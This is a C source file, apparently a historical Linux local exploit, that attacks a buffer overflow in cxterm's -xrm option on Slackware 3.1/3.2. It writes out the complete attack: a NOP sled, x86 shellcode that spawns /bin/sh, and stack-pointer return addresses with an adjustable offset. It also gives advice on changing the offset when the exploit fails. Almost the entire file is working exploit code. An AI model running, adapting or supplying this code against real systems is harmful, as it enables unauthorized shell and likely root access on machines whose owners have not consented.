/*
 
   cxterm buffer overflow exploit for Linux.  This code is tested on
both Slackware 3.1 and 3.2.
 
                                        Ming Zhang
                                        mzhang@softcom.net
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
  char *buff = NULL;
  unsigned long *addr_ptr = NULL;
  char *ptr = NULL;
  int i,OffSet = DEFAULT_OFFSET;

  /* use a different offset if you find this program doesn't do the job */
  if (argc>1) OffSet = atoi(argv[1]);

  buff = malloc(2048);
  if(!buff)
    {
      printf("Buy more RAM!\n");
      exit(0);
    }
  ptr = buff;

  for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
       i+=NOP_SIZE)
    {
      memcpy (ptr,nop,NOP_SIZE);
      ptr+=NOP_SIZE;
    }

  for(i=0;i < strlen(shellcode);i++)
    *(ptr++) = shellcode[i];

  addr_ptr = (long *)ptr;
  for(i=0;i < (8/4);i++)
    *(addr_ptr++) = get_sp() + OffSet;
  ptr = (char *)addr_ptr;
  *ptr = 0;
  (void) fprintf(stderr,
                 "This bug is discovered by Ming Zhang
                 (mzhang@softcom.net)\n");
  /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
  execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}